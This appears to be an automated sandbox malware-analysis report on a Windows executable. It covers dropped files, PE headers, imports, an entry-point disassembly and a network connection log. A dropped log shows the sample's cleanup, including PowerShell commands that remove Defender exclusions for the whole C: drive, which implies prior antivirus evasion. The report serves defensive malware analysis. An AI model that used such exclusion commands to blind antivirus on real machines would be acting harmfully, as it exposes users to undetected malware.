SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_tv5svyvm.gf5.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_woef13jk.z2a.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_xzmk1kwu.bqe.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_zqgnga3f.m4n.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

\Device\ConDrv

Process:	C:\Windows\System32\bav64.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1545
Entropy (8bit):	5.106498895470587
Encrypted:	false
SSDEEP:	48:VQU2njCigi6idijpu6/bQz5X5p5/5J58I5c5G:VWosRbFP2ICs
MD5:	E82297BB5644B9F3ECD48A30781D2E77
SHA1:	5B3D405BC8AE9A9675CB03C83B8158FBB29C66FD
SHA-256:	C3376FC31E2F3C6B044EE9B44E1DACF534513BE8A7BF2B2BB60E4A64ACE6CDB0
SHA-512:	928CFC518F9348F5CEE912A3CD23E245F8EE4C1CDC785B7040D95BA5BD1797ED4F2496DB3136CA4D3EC6817B05F5DABCB80D708CF9257E6E8EA696808B41E0EC
Malicious:	false
Preview:	[-] handle_trash_files: remove: unknown error: "C:\DumpStack.log.tmp"..[+] File removed success C:\ProgramData\.curlrc..[+] File removed success C:\ProgramData\_curlrc..[+] File removed success C:\Users\user\AppData\Roaming\.curlrc..[+] File removed success C:\Users\user\AppData\Roaming\_curlrc..[+] File removed success C:\Users\user\AppData\Local\.curlrc..[+] File removed success C:\Users\user\AppData\Local\IconCache.db..[+] File removed success C:\Users\user\AppData\Local\_curlrc..[+] Temp file removed success C:\Users\user\AppData\Local\Temp\chrome.exe..[+] C:\Windows\Temp exe files not found...[+] Registry value removed success: MicrosoftEdgeAutoLaunch_AA501BBC086EBD358E626B900A322692..[+] Registry value not found...[-] handle_trash_files: remove: unknown error: "C:\DumpStack.log.tmp"..[+] Exclusion removed success: powershell -Command "Remove-MpPreference -ExclusionPath 'C:\'"..[+] Exclusion removed success: powershell -Command "Remove-MpPreference -ExclusionPath 'C:\U

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.548853831296084
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	dYUteuvmHn.exe
File size:	1'694'720 bytes
MD5:	f5bd4bbc494017262a22785e5b53f316
SHA1:	eed0865613144eba454454d91a2b92fc2717c068
SHA256:	79629ab0850f3dd1f61b13a3fd69570425faca6b15a4b453b9a2e0834ee9728e
SHA512:	47478244cfcb70730fca8bd7c623d4815a47aecad8609cc2801b879a1017b27f53f311fc68e3d83285c7f39c548cf45028602f0761d6efd734686cb5f2568ebc
SSDEEP:	49152:zic0Ug34MNv4Kwu3zuSTQP76NuudqxdeY1wn8mZ:DFcbTQP76Nuudqxan
TLSH:	0C759D56B3E401F8E1A7C138C9574A1BE7B2B855036097DF03A486662F23BE16F3E761
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iO...!@..!@..!@..$Ad.!@..%A..!@.."A..!@.."A..!@..%A..!@..$A..!@.. A..!@.. @..!@..(A..!@...@..!@..#A..!@Rich..!@........PE..d..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x1400139d0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x672A2DFD [Tue Nov 5 14:38:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	c5f00a6fe8c8d189216e47cc0bff8748

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FC4FCFD1CACh
dec eax
add esp, 28h
jmp 00007FC4FCFD120Fh
int3
int3
dec eax
sub esp, 28h
dec ebp
mov eax, dword ptr [ecx+38h]
dec eax
mov ecx, edx
dec ecx
mov edx, ecx
call 00007FC4FCFD13A2h
mov eax, 00000001h
dec eax
add esp, 28h
ret
int3
int3
int3
inc eax
push ebx
inc ebp
mov ebx, dword ptr [eax]
dec eax
mov ebx, edx
inc ecx
and ebx, FFFFFFF8h
dec esp
mov ecx, ecx
inc ecx
test byte ptr [eax], 00000004h
dec esp
mov edx, ecx
je 00007FC4FCFD13A5h
inc ecx
mov eax, dword ptr [eax+08h]
dec ebp
arpl word ptr [eax+04h], dx
neg eax
dec esp
add edx, ecx
dec eax
arpl ax, cx
dec esp
and edx, ecx
dec ecx
arpl bx, ax
dec edx
mov edx, dword ptr [eax+edx]
dec eax
mov eax, dword ptr [ebx+10h]
mov ecx, dword ptr [eax+08h]
dec eax
mov eax, dword ptr [ebx+08h]
test byte ptr [ecx+eax+03h], 0000000Fh
je 00007FC4FCFD139Dh
movzx eax, byte ptr [ecx+eax+03h]
and eax, FFFFFFF0h
dec esp
add ecx, eax
dec esp
xor ecx, edx
dec ecx
mov ecx, ecx
pop ebx
jmp 00007FC4FCFD1016h
int3
dec eax
mov dword ptr [esp+10h], ebx
dec eax
mov dword ptr [esp+18h], esi
push ebp
push edi
inc ecx
push esi
dec eax
mov ebp, esp
dec eax
sub esp, 10h
xor eax, eax
xor ecx, ecx
cpuid
inc esp
mov eax, ecx
inc esp
mov edx, edx
inc ecx
xor edx, 49656E69h
inc ecx
xor eax, 6C65746Eh
inc esp
mov ecx, ebx
inc esp
mov esi, eax
xor ecx, ecx

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x19985c	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1a2000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x19e000	0x285c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1a3000	0x984	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x194a40	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x194900	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2e000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2c9f4	0x2ca00	3eaa18591f27f44185d8b5b5f0e3c9d0	False	0.5290999212184874	data	6.487587820875137	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2e000	0x16c156	0x16c200	f0a14bda343552250339806241ec51fd	False	0.4839572873755578	data	6.5424708847173365	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x19b000	0x2b28	0x1400	8011fd480e967751b06b13543764e907	False	0.183984375	DOS executable (block device driver)	3.045131551850154	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x19e000	0x285c	0x2a00	cbf1a6a006904473afc52a57a282369a	False	0.4675409226190476	data	5.350122810230798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.fptable	0x1a1000	0x100	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1a2000	0x1e0	0x200	fe464930c0f6ab8cb6c8d3c7dcb0d98c	False	0.52734375	data	4.704363013479242	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1a3000	0x984	0xa00	5f205b7170b58890946c62ed249f89d5	False	0.515234375	data	5.348493313637984	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x1a2060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

GetModuleHandleExW, GetModuleFileNameW, MultiByteToWideChar, CloseHandle, CreateProcessW, WideCharToMultiByte, SetEndOfFile, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetStringTypeW, GetCPInfo, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RtlUnwindEx, RtlPcToFileHeader, RaiseException, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, ExitProcess, GetFileSizeEx, SetFilePointerEx, GetFileType, HeapAlloc, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, HeapFree, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, VirtualProtect, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, ReadFile, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, CreateFileW, HeapSize, WriteConsoleW, RtlUnwind

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 07:34:56.333122015 CET	49706	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:34:56.333177090 CET	443	49706	20.233.83.145	192.168.2.5
Dec 10, 2024 07:34:56.333242893 CET	49706	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:34:56.412986040 CET	49706	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:34:56.413022041 CET	443	49706	20.233.83.145	192.168.2.5
Dec 10, 2024 07:34:58.003890038 CET	443	49706	20.233.83.145	192.168.2.5
Dec 10, 2024 07:34:58.003971100 CET	49706	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:34:59.993582010 CET	49706	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:34:59.993720055 CET	443	49706	20.233.83.145	192.168.2.5
Dec 10, 2024 07:34:59.993856907 CET	49706	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:05.008261919 CET	49712	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:05.008307934 CET	443	49712	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:05.008384943 CET	49712	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:05.008826971 CET	49712	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:05.008842945 CET	443	49712	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:06.586822987 CET	443	49712	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:06.586909056 CET	49712	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:06.613775969 CET	49712	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:06.613800049 CET	443	49712	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:06.614183903 CET	443	49712	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:06.630319118 CET	49712	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:06.675323963 CET	443	49712	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:07.511271954 CET	443	49712	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:07.511368036 CET	443	49712	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:07.511435032 CET	443	49712	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:07.511440039 CET	49712	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:07.511477947 CET	49712	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:07.511929035 CET	49712	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:07.511948109 CET	443	49712	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:07.665846109 CET	49715	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:07.665893078 CET	443	49715	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:07.665970087 CET	49715	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:07.666445971 CET	49715	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:07.666461945 CET	443	49715	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:08.559752941 CET	49718	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:08.559811115 CET	443	49718	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:08.559917927 CET	49718	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:08.575730085 CET	49718	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:08.575779915 CET	443	49718	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:08.881500006 CET	443	49715	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:08.881592989 CET	49715	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:08.885560989 CET	49715	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:08.885567904 CET	443	49715	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:08.885867119 CET	443	49715	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:08.886243105 CET	49715	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:08.927325964 CET	443	49715	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:09.470325947 CET	443	49715	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:09.470412970 CET	443	49715	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:09.470472097 CET	49715	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:09.470875978 CET	49715	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:09.470896006 CET	443	49715	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:09.520433903 CET	49719	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:09.520489931 CET	443	49719	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:09.520591021 CET	49719	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:09.520909071 CET	49719	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:09.520926952 CET	443	49719	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:10.152195930 CET	443	49718	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:10.152282000 CET	49718	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:10.155167103 CET	49718	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:10.155253887 CET	443	49718	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:10.155333042 CET	49718	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:11.101495028 CET	443	49719	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:11.102715015 CET	49719	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:11.102746010 CET	443	49719	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:11.102849007 CET	49719	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:11.102854013 CET	443	49719	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:11.783693075 CET	443	49719	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:11.783793926 CET	443	49719	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:11.783859968 CET	443	49719	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:11.783898115 CET	49719	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:11.783927917 CET	49719	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:11.788079023 CET	49719	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:11.788110971 CET	443	49719	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:11.807049990 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:11.807102919 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:11.807239056 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:11.807596922 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:11.807607889 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.015034914 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.015744925 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.015778065 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.015882969 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.015891075 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.448260069 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.448324919 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.448369026 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.448394060 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.448391914 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.448431015 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.448453903 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.456557989 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.456635952 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.456675053 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.464979887 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.465148926 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.465174913 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.473295927 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.473453045 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.473479033 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.519769907 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.519799948 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.566737890 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.567846060 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.613588095 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.640422106 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.642608881 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.642782927 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.642819881 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.650372982 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.650543928 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.650579929 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.665939093 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.665998936 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.666155100 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.666188002 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.666246891 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.673641920 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.681817055 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.682008028 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.682034969 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.722986937 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.723028898 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.729068995 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.729134083 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.729165077 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.729196072 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.729213953 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.729291916 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.729310989 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.729346991 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.729351997 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.729403973 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.851583004 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.851598978 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.851648092 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.851665020 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.851752996 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.851778984 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.851799011 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.851814032 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.876107931 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.876146078 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.876260996 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.876271963 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.876321077 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.899450064 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.899482965 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.899635077 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.899667978 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.899745941 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.961673021 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.961709023 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.961759090 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.961785078 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:13.961802006 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:13.961826086 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.316977024 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.317011118 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.317130089 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.317159891 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.317207098 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.317250967 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.317265987 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.317305088 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.317312002 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.317334890 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.317352057 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.318203926 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.318228006 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.318283081 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.318295002 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.318331957 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.319257975 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.319282055 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.319346905 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.319354057 CET	443	49720	185.199.109.133	192.168.2.5
